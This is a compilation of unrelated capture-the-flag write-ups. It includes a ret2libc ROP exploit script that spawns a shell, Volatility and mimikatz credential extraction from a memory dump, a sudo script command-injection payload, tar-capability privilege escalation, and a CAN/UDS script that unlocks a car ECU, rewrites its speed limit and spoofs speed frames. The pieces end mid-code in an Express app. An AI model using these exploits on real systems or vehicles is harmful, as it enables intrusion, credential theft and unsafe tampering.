This is a link to the next page. Replace `<pwd>` with `alm0st_2_3z`.Once we are at the next page, we check the source code of the website. This time, we see that the zero width space characters are seperated throughout the website. This doesn'taffect us, as if we do the same thing as before, we get `755f756e6831645f6d33` which is `u_unh1d_m3` in hex. We put this into the new input box to get a link to the flag at:
`http://web.chal.csaw.io:5018//19s2uirdjsxbh1iwudgxnjxcbwaiquew3gdi/alm0st_2_3z/u_unh1d_m3`
## Things to Note
When copy pasting the source code into the website, use <ctrl+u> and <ctrl+a>, otherwise the zero width characters won't be copied. |
## roppity [50]*Welcome to pwn!*
`nc pwn.chal.csaw.io 5016`
Files: `rop`, `libc-2.27.so`
This challenge was quickly finished with [`pwnscripts`](https://github.com/152334H/pwnscripts). Try it!
Some parts of this write-up may seem overtly verbose; it's written with beginners in mind.### Short investigation```python$ checksec ./rop[*] '/path/to/rop' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)````rop` is a rather simple binary, starting and ending at `main()`:```cint init() { return setvbuf(_bss_start, 0, 2, 0); }int main() { char s[20]; // [rsp+0h] [rbp-20h] init(); puts("Hello"); gets(s);}````gets()` allows for an infinitely long input (hypothetically) from the user, so there is a very simple linear [buffer overflow](https://en.wikipedia.org/wiki/Buffer_overflow) off of `s[]` to overwrite `main()`'s return pointer. Since the binary has `No canary found`, but has `NX Enabled` as a security measure (and also because the challenge is named `roppity`), the solution to this challenge must be [Return Oriented Programming](https://ropemporium.com/index.html). The challenge helpfully provides a `libc-2.27.so`, so the objective of the challenge should be to open a remote shell via a [return-to-libc](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop/#ret2libc) attack.
Hopefully you understood all of that. If you've personally done all of those things before, then the implementation should be easy to follow too:1. Use a jump to `puts()`, a `pop rdi` gadget, and the Global Offset Table to leak libc address (i.e. execute `puts(GOT['puts'])` with a ROP chain). `pwntools`' `ROP()` is extremely useful for building this quickly.2. In the *same ROP chain*, have a final jump back to the start of `main()`. This is so that we can send a *second* ROP chain in step 4.3. Using the output of `puts()`, calculate the ASLR base of libc in memory, and then find the libc addresses of `system` and a `/bin/sh` string from there. `pwnscripts` helps to automate this part.3. Write a second ROP chain to call `system("/bin/sh")`. This is similar to step 1; you're just replacing `puts` with `system` and `GOT['puts']` with `"/bin/sh"`.
After all of that, an ideal script may look like this in implementation:```pythonfrom pwnscripts import *context.binary = './rop'puts_got = context.binary.got['puts']def overflow(b:bytes): return r.sendlineafter('Hello\n', 0x28*b'a' + b)
r = context.binary.process()rop = ROP(context.binary)rop.puts(puts_got)rop.main()
db = libc_db('./libc-database', binary='/lib/x86_64-linux-gnu/libc.so.6')system = db.symbols['system']bin_sh = db.symbols['str_bin_sh']overflow(rop.chain())base = db.calc_base('puts', extract_first_bytes(r.recvline().strip(), 6))
rop = ROP(context.binary)rop.call(system+base, [bin_sh+base])overflow(rop.chain())r.interactive()```Strangely enough, this led to an EOFError on remote, despite working locally. This is potentially the fault of [alignment issues](https://ropemporium.com/guide.html#Common%20pitfalls), but I did not probe too deeply.
After some testing, the exploit is modified to become:1. leak libc address with ROP to `puts()`. Calculate the libc address of `system` and a `/bin/sh` string here.2. In the *same ROP chain*, have a call to `gets(bss+...)`. `bss+...` serves as a known memory location to store data we want.3. Still in the same ROP chain, have a final jump back to the start of `main()`.4. The `gets()` call will run first. Write a command like `/bin/sh` here.5. Back in `main()`, write a second ROP chain to call `system(bss+...)`.
With that, it works on remote. The final script used is at the end of this writeup.
### Flag`flag{r0p_4ft3r_r0p_4ft3R_r0p}`
### Code```pythonfrom pwnscripts import *context.binary = './rop'scratch = context.binary.bss(0x40) # _bss_start will not work (setvbuf?)puts_got = context.binary.got['puts']pad = 0x28*b'a'def overflow(b:bytes): return r.sendlineafter('Hello\n', pad + b)
# Step 1: rop chain to leak libc && write down a command (see: Weirdly)r = remote('pwn.chal.csaw.io', 5016)rop = ROP(context.binary)rop.puts(puts_got)rop.gets(scratch) # Weirdly, removing this terminates the remote connectionrop.main() # go back to main afterwards
overflow(rop.chain())db = libc_db('./libc-database', binary='./libc-2.27.so')system = db.symbols['system']base = db.calc_base('puts', extract_first_bytes(r.recvline().strip(), 6))
# Step 2: call a shell command with libc.system()r.sendline('cat flag.txt\0')rop = ROP(context.binary)rop.call(system+base, [scratch])
overflow(rop.chain())print(r.recvline())``` |
# Write-up FwordCTF
* [Forensics - Memory 1](#forensics---memory-1)* [Forensics - Memory 2](#forensics---memory-2)* [Forensics - Memory 3](#forensics---memory-3)* [Forensics - Memory 4](#forensics---memory-4)* [Forensics - Memory 5](#forensics---memory-5)* [Forensics - Infection](#forensics---infection)* [Forensics - Null](#forensics---null)* [Bash - CapiCapi](#bash---capicapi)* [Bash - Bash is fun](#bash---bash-is-fun)* [Reversing - Tornado](#reversing---tornado)* [OSINT - Identity Fraud](#osint---identity-fraud)* [OSINT - Tracking a Criminal](#osint---tracking-a-criminal)* [Misc - Secret Array](#misc---secret-array)
## Forensics - Memory 1
Archivos: foren.7z
> Give the hostname, username and password in format FwordCTF{hostname_username_password}.
Se trata de un dump de memoria, por lo que se utiliza **Volatility**.Con imageinfo obtengo que se trata de un dump con el perfil Win7SP1x64. El nombre del equipo se encuentra en el registro, por lo general en la clave 'HKLM\SYSTEM\ControlSet001\Control\ComputerName\ComputerName'.
Para obtenerlo se listan las hives del registro con el comando **hivelist** para ver la direcciΓ³n virtual de la subclave **SYSTEM**. ```volatility -f foren.raw --profile=Win7SP1x64 hivelist```
Luego se imprime el valor de la clave Computer name a partir de esta direcciΓ³n.```volatility -f foren.raw --profile=Win7SP1x64 printkey -o 0xfffff8a000024010 -K 'ControlSet001\Control\ComputerName\ActiveComputerName'```
El nombre del equipo es **FORENWARMUP**.
Para obtener el usuario y la contraseΓ±a se pueden usar **hashdump** y el plugin **mimikatz** que te proporciona la contraseΓ±a en claro, si estΓ‘ disponible.```volatility -f foren.raw --profile=Win7SP1x64 hashdump```
Para crackear el hash NTLM (el segundo) se puede usar CrackStation: https://crackstation.net/.
Mimikatz proporciona en claro la contraseΓ±a:```volatility --plugins=/home/utilidades/plugins-vol -f foren.raw --profile=Win7SP1x64 mimikatz```
**FwordCTF{FORENWARMUP_SBA_AK_password123}**
## Forensics - Memory 2
> I had a secret conversation with my friend on internet. On which channel were we chatting?
En la salida chromehistory se ve que ha estado chateando en un IRC. Hago un dump de la memoria de todos los procesos de chrome visibles en pstree y luego un strings para obtener la flag:
**FwordCTF{top_secret_channel}**
## Forensics - Memory 3
> He sent me a secret file , can you recover it?> PS: NO BRUTEFORCE NEEDED FOR THE PASSWORD
En el mismo dump de memoria de antes, hago un grep ahora con el nombre del canal y el prefijo de mensaje privado para observar la conversaciΓ³n ``PRIVMSG #FwordCTF{top_secret_channel}``
Se puede ver un enlace del que se descarga el archivo βimportant.zipβ, y su contraseΓ±a **fw0rdsecretp4ss**.Dentro del ZIP estΓ‘ flag en una imagen:
**FwordCTF{dont_share_secrets_on_public_channels}**
## Forensics - Memory 4
> Since i'm a geek, i hide my secrets in weird places.
La flag estΓ‘ escondida en el registro, en NTUSER.dat.```volatility -f foren.raw --profile=Win7SP1x64 printkey -o 0xfffff8a0033fe410volatility -f foren.raw --profile=Win7SP1x64 printkey -o 0xfffff8a0033fe410 -K 'FLAG'```
**FwordCTF{hiding_secrets_in_regs}**
## Forensics - Memory 5
Hago un dump de la memoria del proceso de Paint y le doy la extensiΓ³n **.data**, para luego intentar abrirlo en GIMP.
Jugando con los valores de desplazamiento y anchura del diΓ‘logo se puede ver la flag. Con el desplazamiento se pueden ver las diferentes imΓ‘genes, y con la anchura se modifica una especie de rotaciΓ³n para poder verla bien.
**FwordCTF{Paint_Skills_FTW!}**
## Forensics - Infection
[Write-up Jandrov](https://github.com/Jandrov/ctf-writeups/tree/master/2020-FwordCTF#forensics---infection)
## Forensics - Null
[Write-up Jandrov](https://github.com/Jandrov/ctf-writeups/tree/master/2020-FwordCTF#forensics---null)
## OSINT - Identity Fraud
> Someone stole our logo and created a team named "Eword". In order to find him, I created a fake twitter account (@1337bloggs) to join Eword team. Fortunately, they replied to the fake account and gave me a task to solve. So, if I solve it, they will accept me as a team member. ... Can you help me in solving the task?
Buscando las respuestas de la cuenta de Twitter @1337bloggs (https://twitter.com/1337bloggs/with_replies) me encuentro con una conversaciΓ³n con @EwordTeam. En ella le ofrecen unirse al equipo si consigue resolver βalgoβ que hay en su pΓ‘gina de CTFtime, cuyo enlace estΓ‘ en la descripciΓ³n de la cuenta.
Al acceder a la pΓ‘gina (https://ctftime.org/team/131587) no se ve nada aparte de la direcciΓ³n de Twitter, y es porque eliminaron la pista una vez les notificΓ³ el usuario.
Sin embargo, hay una captura en WaybackMachine en la que se aprecia la pista, una direcciΓ³n de Pastebin: http://web.archive.org/web/20200826195056/https://ctftime.org/team/131587
El contenido del Pastebin es:```Hi Fred,
You said that you are good in OSINT. So, you need to prove your skills to join Eword.
Your task:Find the leader of Eword, then find the flag in one of his social media accounts.
Hint:https://pastebin.com/PZvaSjA0```
El hint que proporcionan es un JPG con una captura de una historia de Instagram, en la que se puede ver un hotel (con su nombre).Con una bΓΊsqueda rΓ‘pida en Google veo que se trata del hotel Hilton Podgorica Crna Gora, y con la bΓΊsqueda "Hilton Podgorica Crna Gora" "advisor" "eword" encuentro una opiniΓ³n de un tal "Wokaihwokomas Kustermann" en la que se menciona el nombre del equipo.
El primer pastebin indicaba que la flag estaba en una de las redes sociales del lΓder, y en el perfil del usuario se ve la pista βcheck_my_instagramβ, por lo que lo busco en Instagram. En las historias destacadas se puede ver la misma imagen del hotel, y luego una en la que sugiere que las fotos de perfil de Instagram sean cuadradas. Esto parece una pista por lo que trato de obtener la imagen de perfil con el depurador de red del navegador. Sin embargo, la foto que se obtiene es muy pequeΓ±a, y en ella se puede apreciar que hay algo escrito en la parte inferior, pero que es ilegible.
Para ver la imagen de perfil a tamaΓ±o real utilizo la pΓ‘gina Instadp (https://www.instadp.com/fullsize/wokaihwokomaskustermann)Ahora sΓ se puede apreciar la flag.
**Eword{c0ngraAatulationZzZz_aNd_w3lCom3_to_Eword_Team_!}**
## Bash - CapiCapi
> You have to do some privilege escalation in order to read the flag! Use the following SSH credentials to connect to the server, each participant will have an isolated environment so you only have to pwn me! >> SSH Credentials > ssh -p 2222 [emailΒ protected] > Password: FwordxKahla
Listando las capabilities (```getcap -r / 2>/dev/null```) me encuentro con que el programa **/usr/bin/tar** tiene la capacidad de leer cualquier archivo del sistema (**cap_dac_read_search+ep**). Para acceder a la flag bastarΓa con comprimir la flag para luego descomprimirla en un archivo que sΓ tenga permiso de lectura para el usuario actual:
```getcap -r / 2>/dev/null/usr/bin/tar cvf /tmp/flag.txt.tar flag.txtcd /tmp/usr/bin/tar xvf flag.txt.tarcat flag.txt```
**FwordCTF{C4pAbiLities_4r3_t00_S3Cur3_NaruT0_0nc3_S4id}**
## Bash - Bash is fun
> Bash is fun, prove me wrong and do some privesc. >> SSH Credentials > ssh -p 2222 [emailΒ protected] > Password: FwOrDAndKahl4FTW
La flag solo puede ser leΓda por root o por un usuario del grupo **user-privileged**:
La salida de ```sudo -l``` indica que puedo ejecutar el script **welcome.sh** como user-privileged, el cual puede ver el contenido de flag.txt. El script es el siguiente:```bash#!/bin/bashname="greet"while [[ "$1" =~ ^- && ! "$1" == "--" ]]; do case $1 in -V | --version ) echo "Beta version" exit ;; -n | --name ) shift; name=$1 ;; -u | --username ) shift; username=$1 ;; -p | --permission ) permission=1 ;;esac; shift; doneif [[ "$1" == '--' ]]; then shift; fi
echo "Welcome To SysAdmin Welcomer \o/"
eval "function $name { sed 's/user/${username}/g' welcome.txt ; }"export -f $nameisNew=0if [[ $isNew -eq 1 ]];then $namefi
if [[ $permission -eq 1 ]];then echo "You are: " idfi```
Se puede llevar a cabo una inyecciΓ³n de cΓ³digo mediante el parΓ‘metro **username**, el cual es utilizado en el sed para sustituir la palabra βuserβ contenida en welcome.txt y mostrarlo por pantalla. El if relativo a la variable βisNewβ no se ejecuta nunca, pero se puede conseguir la ejecuciΓ³n de la funciΓ³n otorgando el valor **βidβ** al parΓ‘metro **'name'**, puesto que con el parΓ‘metro **permission** se puede ejecutar la sentencia βidβ, que en vez de ser el comando /usr/bin/id serΓa la nueva funciΓ³n exportada.
La flag se leerΓa entonces asΓ: ```sudo -u user-privileged /home/user1/welcome.sh -u "pwned/g' flag.txt; echo '" -n id -p```. NΓ³tese el echo del final con la comilla para cerrar correctamente el resto del comando y que no genere un error de sintaxis.
**FwordCTF{W00w_KuR0ko_T0ld_M3_th4t_Th1s_1s_M1sdirecti0n_BasK3t_FTW}**
## Reversing - Tornado
Archivos: Tornado.7z
El archivo comprimido contiene un script en Python que desordena y cifra una flag con AES, cuya clave es conocida. Modifico el script para realizar funciones de descifrado, invirtiendo el orden. Sin embargo, la flag estΓ‘ desordenada, ya que pasΓ³ por la funciΓ³n **shuffle** antes de ser cifrada. Esta funciΓ³n es vulnerable porque asigna como semilla un caracter de la propia flag. Como la flag tiene el formato **FwordCTF{**...**}**, se puede iterar por cada caracter diferente de la flag y comprobar si las posiciones finales de la flag incompleta son iguales.
Un **detalle importante** que me hizo perder bastante tiempo, es que debe correrse con **Python3**. Entre las versiones de Python diferentes no se genera la misma secuencia de nΓΊmeros para la misma semilla.
```python#!/usr/bin/python3#-*- encoding=UTF8 -*-from Crypto.Cipher import AESfrom Crypto.Util.Padding import pad, unpadfrom Crypto.Util.number import long_to_bytesfrom binascii import hexlify, unhexlifyimport random
key = "very_awes0m3_k3y"flag = "FwordCTF{W!Pr35gp_ZKrJt[NcV_Kd-/NmJ-8ep(*A48t9jBLNrdFDqSBGTAt}" # Cadena aleatoria de pruebaassert len(flag) == 62assert len(key) == 16
def to_blocks(text): return [text[i*2:(i+1)*2].encode() for i in range(len(text)//2)]
def random_bytes(seed): random.seed(seed) return long_to_bytes(random.getrandbits(8*16))
def encrypt_block(block,key): cipher = AES.new(key.encode(), AES.MODE_ECB) plain_pad = pad(block, 16) return hexlify(cipher.encrypt(plain_pad)).decode()
def encrypt(txt, key): res = "" blocks = to_blocks(txt) for block in blocks: res += encrypt_block(block, key) return res
def translate(txt,l,r): return txt[:l]+txt[r:]+txt[l:r]
def shuffle(txt): seed=random.choice(txt) random.seed(seed) nums = [] for _ in range(45): l = random.randint(0, 15) r = random.randint(l+1, 33) txt = translate(txt, l, r) nums = [[l,r]] + nums return txt, nums
def slice(txt, n): return [txt[index : index + n] for index in range(0, len(txt), n)]
def decrypt_block(block,key): cipher = AES.new(key.encode(), AES.MODE_ECB) return unpad(cipher.decrypt(unhexlify(block.encode())), 16).decode()
def shuffle2(txt, seed): random.seed(seed) nums = [] for i in range(45): l = random.randint(0, 15) r = random.randint(l+1, 33) txt = translate(txt, l, r) nums = [[l,r]] + nums return txt, nums
def reverse_translate(txt, l, r): n = len(txt) - r + l res = txt[:l] + txt[n:] + txt[l:n] assert len(res) == len(txt) return res
def crack(encrypted): # Descifra los bloques blocks = slice(encrypted, 32) decrypted = "".join(decrypt_block(block, key) for block in blocks) print("[*] Descifrado: " + decrypted) # Ahora la flag estΓ‘ shuffleada, por lo que se obtienen los indices # de los caracteres unicos en la parte que se conoce de la flag known = "FwordCTF{}" uniqueKnown = "" for c in known: if decrypted.count(c) == 1: uniqueKnown += c print("[*] Caracteres ΓΊnicos de la parte conocida de la flag: " + uniqueKnown) indexes = [decrypted.index(c) for c in uniqueKnown] print("[*] Indices aleatorizados de los caracteres: " + str(indexes)) # Se itera el charset de la flag descifrada, ya que la semilla es un caracter de esta, # y se busca con cuales de ellas se obtienen los mismos indices charset = [] for char in decrypted: if char not in charset: charset.append(char) dummy = "FwordCTF{BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB}" assert len(dummy) == 62
seeds = [] for char in charset: res, _ = shuffle2(dummy, char) i = [res.index(c) for c in uniqueKnown] if indexes == i: seeds.append(char) print("[*] Posibles semillas: " + str(seeds)) # Se obtiene la secuencia de numeros aleatorios generados en la funcion shuffle for seed in seeds: _, nums = shuffle2(dummy, seed) # Aplica las operaciones inversas solution = decrypted for lr in nums: solution = reverse_translate(solution, lr[0], lr[1]) print("[*] Posible soluciΓ³n con semilla {}: {}".format(seed, solution))
def shuffleEncrypt(txt, key): shuffled, nums = shuffle(txt) print("[*] Desordenada: " + shuffled) print("[*] Nums: " + str(nums)) return encrypt(shuffled, key)
#encrypted = shuffleEncrypt(flag, key)encrypted = "3ce29d5f8d646d853b5f6677a564aec6bd1c9f0cbfac0af73fb5cfb446e08cfec5a261ec050f6f30d9f1dfd85a9df875168851e1a111a9d9bfdbab238ce4a4eb3b4f8e0db42e0a5af305105834605f90621940e3f801e0e4e0ca401ff451f1983701831243df999cfaf40b4ac50599de5c87cd68857980a037682b4dbfa1d26c949e743f8d77549c5991c8e1f21d891a1ac87166d3074e4859a26954d725ed4f2332a8b326f4634810a24f1908945052bfd0181ff801b1d3a0bc535df622a299a9666de40dfba06a684a4db213f28f3471ba7059bcbdc042fd45c58ae4970f53fb808143eaa9ec6cf35339c58fa12efa18728eb426a2fcb0234d8539c0628c49b416c0963a33e6a0b91e7733b42f29900921626bba03e76b1911d20728254b84f38a2ce12ec5d98a2fa3201522aa17d6972fe7c04f1f64c9fd4623583cc5a91cc471a13d6ab9b0903704727d1eb987fd5d59b5757babb92758e06d2f12fd7e32d66fe9e3b9d11cd93b11beb70c66b57af71787457c78ff152ff4bd63a83ef894c1f01ae476253cbef154701f07cc7e0e16f7eede0c8fa2d5a5dd5624caa5408ca74b4b8c8f847ba570023b481c6ec642dac634c112ae9fec3cbd59e1d2f84f56282cb74a3ac6152c32c671190e2f4c14704ed9bbe74eaafc3ce27849533141e9642c91a7bf846848d7fbfcd839c2ca3b"print("[*] Cifrado: " + encrypted)
crack(encrypted)```
**FwordCTF{peekaboo_i_am_the_flag_!\_i_am_the_danger_52592bbfcd8}**
## OSINT - Tracking a Criminal
Archivos: Villages.zip
> We have found a flash memory in the crime scene, and it contains 3 images of different villages. So, the criminal may be hiding in one of these villages! Can you locate them?> Flag Format: FwordCTF{}> * Separate between the villages names using underscores ( _ ).> * All the villages names are in lowercase letters.> * There is no symbols in the villages names.
La primera imagen sale tras unas cuantas fotos similares en la bΓΊsqueda por imΓ‘genes de Yandex. Se trata de un hotel famoso en Llanfairpwllgwyngyll, Gales.
#################
A primera vista la segunda imagen me resultΓ³ familiar, y es porque estuve en estuve en este lugar en una carrera de orientaciΓ³n hace aΓ±os. Se trata de Monsanto, un pueblo en Portugal muy bonito y con unas cuantas cuestas.
Dejando a un lado la experiencia y analizando la imagen, creo que las principales pistas son: * La gran roca tras la casa en medio de la imagen. * El gallo veleta encima de la Iglesia a la derecha de la imagen * La cruz de piedra debajo de la iglesia
Una bΓΊsqueda en Google de ```"village" βbouldersβ``` y Monsanto aparece entre los primeros resultados. Desde Google Street View se puede ubicar la zona de la foto teniendo en cuenta la posiciΓ³n de la Iglesia y de la cruz.
Google Maps: https://www.google.com/maps/@40.0389769,-7.1163152,3a,75y,353.95h,97.3t/data=!3m6!1e1!3m4!1sxPxTHX5MEDkQgzwdIMKnKw!2e0!7i13312!8i6656
#################
Lo que se ve en la tercera imagen parece una especie de parque o cementerio en una ciudad montaΓ±osa, con varios edificios pintados de azul.
En la parte derecha de la foto se puede apreciar un logotipo naranja y amarillo con unas barras negras en medio, probablemente perteneciente a algΓΊn establecimiento. Tras varias bΓΊsquedas en internet y una bΓΊsqueda inversa de un dibujo en Paint que no subo porque es muy cutre, doy con que se trata del banco marroquΓ **Attijariwafa**, el cual tiene bastantes sucursales por el mundo.
Llama la atenciΓ³n que hay bastantes edificios pintados de azul. Realizo la bΓΊsqueda ```"morocco" "blue" "paint"``` el principal resultado es la ciudad Chefchaouen, caracterΓstica por este motivo. Busco en Google Maps su localizaciΓ³n y encuentro el banco junto al parque de la foto.
Google Maps: https://www.google.com/maps/@35.168796,-5.2683641,3a,89.1y,122.25h,91.39t/data=!3m8!1e1!3m6!1sAF1QipPf8SoKkPGNoScgrO36z6FUd9Pzyic6a7E4-yem!2e10!3e11!6shttps:%2F%2Flh5.googleusercontent.com%2Fp%2FAF1QipPf8SoKkPGNoScgrO36z6FUd9Pzyic6a7E4-yem%3Dw203-h100-k-no-pi0-ya229.80328-ro-0-fo100!7i8704!8i4352
**FwordCTF{llanfairpwllgwyngyll_monsanto_chefchaouen}**
## Misc - Secret Array
```nc secretarray.fword.wtf 1337```
Para hallar los valores, realizo la suma del primer valor con el resto, lo cual supone 1336 operaciones. La restante se utiliza para hallar la suma entre el segundo y el tercer elemento, suficiente para resolver la ecuaciΓ³n. Utilizo **Z3**:```python#!/usr/bin/python3from pwn import *from z3 import *
target = remote("secretarray.fword.wtf", 1337)target.recv()
solver = Solver()
LENGTH = 1337# Genera las variablesvariables = [Int(f"v_{i}") for i in range(LENGTH)]
for v in variables: solver.add(v > 0)
# Halla la suma del primer valor con el resto (1336 peticiones)print("[*] Hallando sumas...")for i in range(1, LENGTH): print("[*] " + str(i)) target.sendline("0 {}".format(i)) suma = int(target.recvline().strip()) solver.add(variables[0] + variables[i] == suma)
# Halla la suma del segundo y tercer valor (ΓΊltima peticiΓ³n)target.sendline("1 2")suma = int(target.recvline().strip())solver.add(variables[1] + variables[2] == suma)
# Resuelveprint("[*] Resolviendo...")solver.check()model = solver.model()
done = "DONE "for v in variables: done += str(model[v]) + " "
target.sendline(done)target.interactive()```
**FwordCTF{it_s_all_about_the_math}**
|
## Reconinitial recon same as for all OBD Tuning (see our OBD Tuning 2 [writeup](https://ctftime.org/writeup/23318))
## Analysis of the pcapin the provided pcap dump with a bit car hacking knowledge one can see some [UDS](https://en.wikipedia.org/wiki/Unified_Diagnostic_Services) commands going on. intresting are the CANid 0x43 and 0x42 (tx/rx) we can see following procedure in the dump:
* 10 02 means "init diag session"* 27 01 is security access "send challenge"* 27 02 is security access "response"* 22 00 04 is read Data By CommonIdentifier, you can read various infos from the ECU
those commands are wrapped in [ISO-TP](https://en.wikipedia.org/wiki/ISO_15765-2) as underlying transport protocol
## Attack ideain the pcap dump one also finds four valid challenge response pairs. testing for simple algorithms like in [OBD-Tuning-1](https://ctftime.org/writeup/23332) came out with no usable results, so new idea would be, trying to ask for challenges until we maybe get an seen before challenge, where we then would know the response
This are the valid chal / resp pairs from the pcap dump:* 704ebdb76c8fb85f46e0f42890b64104 / aa90c11ed13b648ea133e7acc4d59cd5* 82c86b89f89a3045a9bfc36e2a337ead / c49c1ecce4757690691bcfc9a788ed7c* 5d8f55fa52d780290c3aa9077ca98471 a799a3c44c774a07fb53eb3d9d0e9ee7* dee5e33cedc41bec2f1f7c08113ec7eb / bf8d9071c00ded3c35765dc6cbf7b4a4
after unlocking the ECU we would try to dump all data-values from the ECU stored on "common identifiers"
## Attackafter a bit of googeling we found a nice usable python iso-tp skeleton for talking to the ECU, which we used to implement the outlined attack```pythonSOL_CAN_ISOTP = 106 # These constants exist in the module header, not in Python.CAN_ISOTP_RECV_FC = 2# Many more exists.
import socketimport structimport time
def hexdump(data): output = "" for i in range(0,len(data),2): value = int(data[i:i+2],16) if value > 0x20 and value < 0x80: output += chr(value) else: output += "." return(output) # init socketss2 = socket.socket(socket.AF_CAN, socket.SOCK_DGRAM, socket.CAN_ISOTP)s2.bind(("vcan0", 0x042, 0x043)) #rxid, txid with confusing order.
# init diag session UDS: 10 02s2.send(b"\x10\x02")data = s2.recv(4095)print("answer to 0x10: " + hex(data[0]) )
run = 1
while run == 1: # security access request challenge UDS 27 01 print("sending get challenge (27 01)") s2.send(b"\x27\x01") data = s2.recv(4095) dump = ''.join("%02X" % _ for _ in data) print("answer to 27 01: " + dump + " " + hexdump(dump) )
num = int(hexdump(dump[4:]),16) # good challenges from pcap dump if num == 0x82c86b89f89a3045a9bfc36e2a337ead: # security access req response print("UNLOCKED ! - sending good response 27 02") s2.send(b"\x27\x02" + 'c49c1ecce4757690691bcfc9a788ed7c'.encode() ) data = s2.recv(4095) run = 0 elif num == 0x5d8f55fa52d780290c3aa9077ca98471: # security access req response print("UNLOCKED ! - sending good response 27 02") s2.send(b"\x27\x02" + 'a799a3c44c774a07fb53eb3d9d0e9ee7'.encode() ) data = s2.recv(4095) run = 0 elif num == 0xdee5e33cedc41bec2f1f7c08113ec7eb: # security access req response print("UNLOCKED ! - sending good response 27 02") s2.send(b"\x27\x02" + 'bf8d9071c00ded3c35765dc6cbf7b4a4'.encode() ) data = s2.recv(4095) run = 0 elif num == 0x704ebdb76c8fb85f46e0f42890b64104: # security access req response print("UNLOCKED ! - sending good response 27 02") s2.send(b"\x27\x02" + 'aa90c11ed13b648ea133e7acc4d59cd5'.encode() ) data = s2.recv(4095) run = 0 else: # security access req response print("no luck - sending garbage response 27 02") s2.send(b"\x27\x02" + 'c49c1ecce4757690691bcfc9a788ed7c'.encode() ) data = s2.recv(4095) time.sleep(0.1) # slow down a bit
# unlocked, now dump all readDataByCommonIdentifierprint("dumping all common identifier Data") for i in range(256): s2.send(b"\x22\x00" + chr(i).encode()) data = s2.recv(4095) dump = ''.join("%02X" % _ for _ in data) print("answer to 0x22 00 %02X" % i + ": " + dump + " " + hexdump(dump) )
```
## Runningafter getting a hit, something like a flag was found in id number 7```...sending get challenge (27 01)answer to 27 01: 67016137646164333031643533386163333936303434613431386139393339376661 g.a7dad301d538ac396044a418a99397fano luck - sending garbage response 27 02sending get challenge (27 01)answer to 27 01: 67013832633836623839663839613330343561396266633336653261333337656164 g.82c86b89f89a3045a9bfc36e2a337eadUNLOCKED ! - sending good response 27 02dumping all common identifier Dataanswer to 0x22 00 00: 62000036 b..6answer to 0x22 00 01: 62000139303030 b..9000answer to 0x22 00 02: 620002323939 b..299answer to 0x22 00 03: 6200033130 b..10answer to 0x22 00 04: 620004574253434B39333435594C343234323432 b..WBSCK9345YL424242answer to 0x22 00 05: 62000533363236373831313233 b..3626781123answer to 0x22 00 06: 620006393031323231 b..901221answer to 0x22 00 07: 620007414C4C45535B44554D4D595F554E4445525F3330304B4D485F464C41475D b..ALLES[DUMMY_UNDER_300KMH_FLAG]answer to 0x22 00 08: 62000830 b..0answer to 0x22 00 09: 62000931 b..1answer to 0x22 00 0A: 62000A30 b..0...```
so it seems we are missing the speed has to be 300km/h, so we got only a dummy flag yet.
## ALLES[DUMMY_UNDER_300KMH_FLAG]
after looking further the CAN-id 888 looked like some speed related stuff, cause values were going up and down over time in a fitting range vcan0 00000888 [4] 03 31 37 36 -> 176 km/h
so idea was to spoof the actual speed to 300km/h by sending packets with the fake speed, so in a 2nd shell we did a hacky simple```for i in {1..50000}; do cansend vcan0 00000888#03333031; done``` setting the speed to 301 km/h but this did not change anything...what did we miss ? after looking around further, one of the read out ECU data values looked like a max. speed setting ```answer to 0x22 00 02: 620002323939 b..299``` could it be possible to write a new value to the ECU and so modifying the max top-speed ? a quick look into the [UDS](https://en.wikipedia.org/wiki/Unified_Diagnostic_Services) protocol specification revealed WriteDataByCommonIdentifier is the command byte 0x2E, so worth a try. unlocking the ECU and writing a new top speed then, reading it back, so we enhanced the previous code by the following lines:
```print("setting max speed to 350")s2.send(b"\x2E\x00\x02\x33\x35\x30")data = s2.recv(4095)
print("reading back")for i in range(12): s2.send(b"\x22\x00" + chr(i).encode()) data = s2.recv(4095) dump = ''.join("%02X" % _ for _ in data) print("answer to 0x22 00 %02X" % i + ": " + dump + " " + hexdump(dump) ```
and indeed after reading it back we got (we indeed changed the cars possible top speed):
```...answer to 0x22 00 01: 62000139303030 b..9000answer to 0x22 00 02: 620002333530 b..350answer to 0x22 00 03: 6200033130 b..10...```
so running the whole script again (while still spoofing the 301km/h can msg) finally the good flag appeared:```...answer to 0x22 00 04: 620004574253434B39333435594C343234323432 b..WBSCK9345YL424242answer to 0x22 00 05: 62000533363236373831313233 b..3626781123answer to 0x22 00 06: 620006393031323231 b..901221answer to 0x22 00 07: 620007414C4C45537B3363755F6834636B33725F346E645F73703333645F737030306633727D b..ALLES{3cu_h4ck3r_4nd_sp33d_sp00f3r}answer to 0x22 00 08: 62000830 b..0...```
mission accomplished :-)
too bad we discovered this too late and so were not be able to enter the flag :-(## ALLES{3cu_h4ck3r_4nd_sp33d_sp00f3r}macz |
## Challenge description:
The site [log-me-in.web.ctfcompetition.com](https://log-me-in.web.ctfcompetition.com/) had a navbar with menu-items: home, about, profile, flag and login.
Clicking on the flag button sent us to `/flag` route which popped up an error `You must be logged in to access that`. The `/login` route had a simple login form:
We were also provided with the express-js source code for the app:
```javascriptconst mysql = require('mysql');const express = require('express');const cookieSession = require('cookie-session');const cookieParser = require('cookie-parser');const bodyParser = require('body-parser');
const flagValue = "..."const targetUser = "michelle"
const {v4: uuidv4} = require('uuid');
const app = express();app.set('view engine', 'ejs');app.set('strict routing', true);
/* strict routing to prevent /note/ paths etc. */app.set('strict routing', true)app.use(cookieParser());
/* secure session in cookie */app.use(cookieSession({name: 'session',keys: ['...'] //don't even bother}));
app.use(bodyParser.urlencoded({extended: true}))
app.use(function(req, res, next) {if(req && req.session && req.session.username) { res.locals.username = req.session.username res.locals.flag = req.session.flag} else { res.locals.username = false res.locals.flag = false}next()});
/* server static files from static folder */app.use('/static', express.static('static'))
app.use(function( req, res, next) {if(req.get('X-Forwarded-Proto') == 'http') { res.redirect('https://' + req.headers.host + req.url)} else { if (process.env.DEV) { return next() } else { return next() }}});// MIDDLEWARE ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
/* csrf middleware, csrf_token stored in the session cookie */const csrf = (req, res, next) => {const csrf = uuidv4();req.csrf = req.session.csrf || uuidv4();req.session.csrf = csrf;res.locals.csrf = csrf;
